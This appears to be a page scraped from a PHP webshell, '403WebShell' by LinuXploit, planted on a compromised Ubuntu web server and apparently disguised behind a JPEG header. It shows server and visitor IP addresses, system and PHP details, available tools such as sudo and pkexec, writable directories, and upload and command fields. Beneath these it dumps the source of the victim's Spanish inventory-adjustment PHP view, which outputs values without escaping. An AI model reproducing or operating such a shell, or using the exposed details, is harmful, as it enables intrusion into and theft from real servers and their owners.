����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.128.190.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/Ajustes-view.php
<?php

$iva_name = ConfigurationData::getByPreffix("imp-name")->val;
$iva_val = ConfigurationData::getByPreffix("imp-val")->val;

$stock_id = $_SESSION['stock_id'];
$almacen =  StockData::getByid($stock_id);

?>
<ol class="breadcrumb">
  <li><a href="./?view=home">Inicio</a></li>
  <li><a href="./?view=stocks">Almacenes</a></li>
 
 
</ol>

<section class="content">
	<div class="row">
	<div class="col-md-12">
		
	<nav class = "navbar navbar-inverse">
		<div class = "container-fluid">
			<a href = "#" class = "navbar-brand">Ajuste de Inventario</a>
		</div>
	</nav>
	
</content>
	<div class = "row-fluid" class="form-control">
			<div class = "col-md-3"></div>
			<div class="panel panel-default">
				<div class="panel-body">
					<hr style = "border-top:1px dotted #000;"/>
					<div class = "form-inline">

<form>
		<div class="row">
		
			<div class="col-md-6">
				<input type="hidden" id="view" name="view" value="Ajustes">
				<input type="text" id="product" name="product" class="form-control" placeholder="buscar por nombre">
			
				<input type="text" id="code" name="code" class="form-control" placeholder="buscar por coddigo">
			</div>
			
		
     		<div class="col-md-3">
			<button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i> Buscar</button>
			</div>
	
    	</div>
</form>
		
	</div>
	
<script type='text/javascript'>
document.forms[0].elements["code"].focus()
document.forms[0].elements["code"].select()
</script>
	
	
<div class="col-md-12">
<?php if(isset($_GET["product"])&&($_GET["product"]!="")):?>
	<?php
	$id=$_GET["product"];
$products = ProductData::getAll_2($id);
if(count($products)>0){
	?>
<h3>Resultados de la Busqueda</h3>
<div class = "table-responsive">	
	<table class = "table table-bordered">
	<thead class="alert-info">
		<th>Codigo</th>
		<th>Nombre</th>
		<th>Unidad</th>
		<th>Costo unitario</th>
		<th>Compras</th>
		<th>Cantidad</th>
		<th style="width:100px;"></th>
	</thead>
	<?php
	$products_in_cero=0;
	foreach($products as $product):
		$total = OperationData::GetQByStock($product->id,$almacen->id);
		$total2 = OperationData2::GetQByStock($product->id,$almacen->id);
		?>
		<form method="post" action="index.php?view=addtore">
	<tr class="<?php if($q<=$product->inventary_min){ echo "danger"; }?>">
		<td style="width:80px;"><?php echo $product->barcode; ?></td>
		<td><?php echo $product->name; ?></td>
		<td><?php echo $product->unit; ?></td>
		<td><b>  <input type="text" name="price_in" id="price_in" required value="<?php echo $product->price_in; ?>" class="form-control" placeholder="Efectivo"></b></td>
		<td>
			<?php echo ($total2); ?>
		</td>
		<td>
		<input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
		<input type="" class="form-control" required id="q" name="q" value="10" placeholder="Cantidad de producto ..."></td>
		<td style="width:100px;">
		<button type="submit" class="btn btn-success"><i class="glyphicon glyphicon-refresh"></i> Agregar</button>
		</td>
	</tr>
	</form>
	<?php endforeach;?>
</table>
</div>


	<?php
}
?>
<br><hr>
<hr><br>
<?php else:
?>
	
<?php endif; ?>
</div>


<div class="col-md-12">
<?php if(isset($_GET["code"])&&($_GET["code"]!="")):?>
	<?php
	$search=$_GET["code"];
	
	$product = ProductData::getBycode($search);
	if(isset($product)>0){
	?>
<h3>Resultados de la Busqueda</h3>
<div class = "table-responsive">	
					<table class = "table table-bordered">
						<thead class="alert-info">
		<th>Codigo</th>
		<th>Nombre</th>
		<th>Unidad</th>
		<th>Costo unitario</th>
		<th>Compras</th>
		<th>Cantidad</th>
		<th style="width:100px;"></th>
	</thead>
	<?php
	$products_in_cero=0;
				//compras
				   $itotal2 = OperationData2::GetInputQByStock($product->id,StockData::getPrincipal()->id);
				//ordenes de compra
				   $itotal_O = OperationData2::getBySumOC($product->barcode, StockData::getPrincipal()->id);
				//Total de entradas
				$entradas = $itotal2 + $itotal_O['0']->sum;
				
				//ventas en tabla t_sale_detail por almacen
				$operations3 = OperationData::getByc2s($product->name, StockData::getPrincipal()->id);
				$totalV=0;
				foreach($operations3 as $op)
				{
					$totalV = $totalV + $op->qty;
				}
				
				//ajuste salida
				$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id,StockData::getPrincipal()->id);
				
				//devoluciones de tabla operations
				$operations4 = OperationData::getAllByProductIdAndStockDev($product->id,StockData::getPrincipal()->id);
				$totalDev=0;
					foreach($operations4 as $op2)
					{
						$totalDev = $totalDev + $op2->q;
					}
				//existencia 
				$existencia = ($entradas - $totalV + $totalDev) + $totalAjusteS;
		?>
		<form method="post" action="index.php?view=addtore">
	<tr class="<?php if($q<=$product->inventary_min){ echo "danger"; }?>">
		<td style="width:80px;"><?php echo $product->barcode; ?></td>
		<td><?php echo $product->name; ?></td>
		<td><?php echo $product->unit; ?></td>
		<td><b>  <input type="text" name="price_in" id="price_in" required value="<?php echo $product->price_in; ?>" class="form-control" placeholder="Efectivo"></b></td>
		<td>
			<?php
				echo $entradas;
			?>
		</td>
		<td>
		<input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
		<input type="" class="form-control" required id="q" name="q" value="10" placeholder="Cantidad de producto ..."></td>
		<td style="width:100px;">
		<button type="submit" class="btn btn-success" id="btnadd2"><i class="glyphicon glyphicon-refresh"></i> Agregar</button>
		</td>
	</tr>
	</form>
	
</table>
</div>

<script type='text/javascript'>
document.forms[1].elements["q"].focus()
document.forms[1].elements["q"].select()

</script>
	<?php
}
?>
<br><hr>
<hr><br>
<?php else:
?>
	
<?php endif; ?>
</div>

<div id="Oculto"></div>	

<div class="col-md-12">
<!--- Carrito de compras :) -->
<?php if(isset($_SESSION["reabastecer"])):
$total = 0;
?>

<h2>Lista de Reabastecimiento</h2>
<div class="box box-primary">
<table class="table table-bordered table-hover">
<thead>
	<th style="width:30px;">Codigo</th>
	<th style="width:30px;">Cantidad</th>
	<th style="width:30px;">Unidad</th>
	<th>Producto</th>
	<th style="width:30px;">Costo Unitario</th>
	<th style="width:30px;">Costo total</th>
	<th ></th>
</thead>
<?php foreach($_SESSION["reabastecer"] as $p):
$product = ProductData::getById($p["product_id"]);
?>
<tr >
	<td><?php echo $p["product_id"]; ?></td>
	<td ><?php echo $p["q"]; ?></td>
	<td><?php echo $product->unit; ?></td>
	<td><?php echo $product->name; ?></td>
	<td><b>$ <?php echo number_format($p["price_in"],2,",","."); ?></b></td>
	<td><b>$ <?php  $pt = $p["price_in"]*$p["q"]; $total +=$pt; echo number_format($pt,2,",","."); ?></b></td>
	<td style="width:30px;"><a href="index.php?view=clearre&product_id=<?php echo $product->id; ?>" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a></td>

</tr>
<?php endforeach; ?>
</table>
</div>
<form method="post" class="form-horizontal" id="processere" action="index.php?view=processre">

			  <input type="hidden" name="total" value="<?php echo $total*1.16; ?>" class="form-control" placeholder="Total">

		<h2>Resumen</h2>
		<div class="form-group">
			<label for="inputEmail1" class="col-lg-2 control-label">Almacen</label>
			<div class="col-lg-10">

			<?php 
		$clients = StockData::getAll();
		$defecto= StockData::getById(1);
			?>
			<select name="stock_id" class="form-control" required >
				<?php foreach($clients as $client):?>
					
					<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
				<?php endforeach;?>
			</select>
			</div>
		  </div>
		<div class="form-group">
			<label for="inputEmail1" class="col-lg-2 control-label">Proveedor</label>
			
			<div class="col-lg-10">
			<?php 
		$clients = PersonData::getProviders();
			?>
			<select name="client_id" class="form-control">
			<option value="">-- NINGUNO --</option>
			<?php foreach($clients as $client):?>
				<option value="<?php echo $client->id;?>"><?php echo $client->name." ".$client->lastname;?></option>
			<?php endforeach;?>
				</select>
				<div class="btn-group  pull-left">
						<a href="./?view=newprovider" class="btn btn-default"></a>
			 </div>
			</div>
		  </div>
		  
		  <div class="form-group">
			<label for="inputEmail1" class="col-lg-2 control-label">Tipo de Ajuste</label>
			
			<div class="col-lg-10">
			<?php 
		$clients = AjustTypeData::getAll();
			?>
			<select name="ajust_id" class="form-control">
			<option value="">-- Compra --</option>
			<?php foreach($clients as $client):?>
				<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
			<?php endforeach;?>
				</select>
			
			</div>
		  </div>
		  
		<div class="form-group">
			<label for="inputEmail1" class="col-lg-2 control-label">Pago</label>
			<div class="col-lg-4">
			<?php 
		$clients = PData::getAll();
			?>
			<select name="p_id" class="form-control">
			<?php foreach($clients as $client):?>
				<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
			<?php endforeach;?>
				</select>
			</div>
			<label for="inputEmail1" class="col-lg-2 control-label">Entrega</label>
			<div class="col-lg-4">
			<?php 
		$clients = DData::getAll();
			?>
			<select name="d_id" class="form-control">
			<?php foreach($clients as $client):?>
				<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
			<?php endforeach;?>
				</select>
			</div>

		  </div>

		<div class="form-group">
			<label for="inputEmail1" class="col-lg-2 control-label">importe</label>
			<div class="col-lg-10">
			  <input type="text" name="money" id="money" required value="<?php echo $total*1.16?>" class="form-control" id="money" placeholder="Efectivo">
			</div>
		  </div>
		  
		  <script type='text/javascript'>
		document.forms[1].elements["stock_id"].focus()

		</script>

		<script type='text/javascript'>
		document.forms[0].elements["product"].focus()
		</script>
		  <div class="row">
		<div class="col-md-6 col-md-offset-6">
		<div class="box box-primary">
		<table class="table table-bordered">
		<tr>
			<td><p>Subtotal</p></td>
			<td><p><b>$ <?php echo number_format($total,2,'.',','); ?></b></p></td>
		</tr>
		<tr>
			<td><p><?php echo $iva_name." (".$iva_val."%) ";?></p></td>
			<td><p><b>$ <?php echo number_format($total*($iva_val/100),2,'.',','); ?></b></p></td>
		</tr>
		<tr>
			<td><p>Total</p></td>
			<td><p><b>$ <?php 
			$ivaX= $total*($iva_val/100);
			$total= $total + $ivaX;
			echo number_format($total,2,'.',','); ?></b></p></td>
		</tr>

		</table>
		</div>
		  <div class="form-group">
			<div class="col-lg-offset-2 col-lg-10">
			  <div class="checkbox">
				<label>
				  <input name="is_oficial" type="hidden" value="1">
				</label>
			  </div>
			</div>
		  </div>
		<div class="form-group">
			<div class="col-lg-offset-2 col-lg-10">
			  <div class="checkbox">
				<label>
				<a href="index.php?view=clearre" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a>
				<button class="btn btn-primary" id="id_of_button"><i class="fa fa-refresh"></i> Procesar Valores</button>
				</label>
			  </div>
			</div>
		  </div>
</form>

</div>

<script type="text/javascript">
$(document).keyup(function(event){
   event.preventDefault();
    if (event.keyCode == 16) {
        document.getElementById("id_of_button").click();
    }
	 if (event.keyCode == 13) {
        document.getElementById("money").focus;
    }
});
</script>

<script>
	$("#processsell").submit(function(e){
		money = $("#money").val();
		if(money<<?php echo $total;?>){
			alert("No se puede efectuar la operacion");
			e.preventDefault();
		}else{
			go = confirm("Cambio: $"+(money-<?php echo $total;?>));
			if(go){}
				else{e.preventDefault();}
		}
	});
</script>
</div>
</div>

<br><br><br><br><br>
<?php endif; ?>

</div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit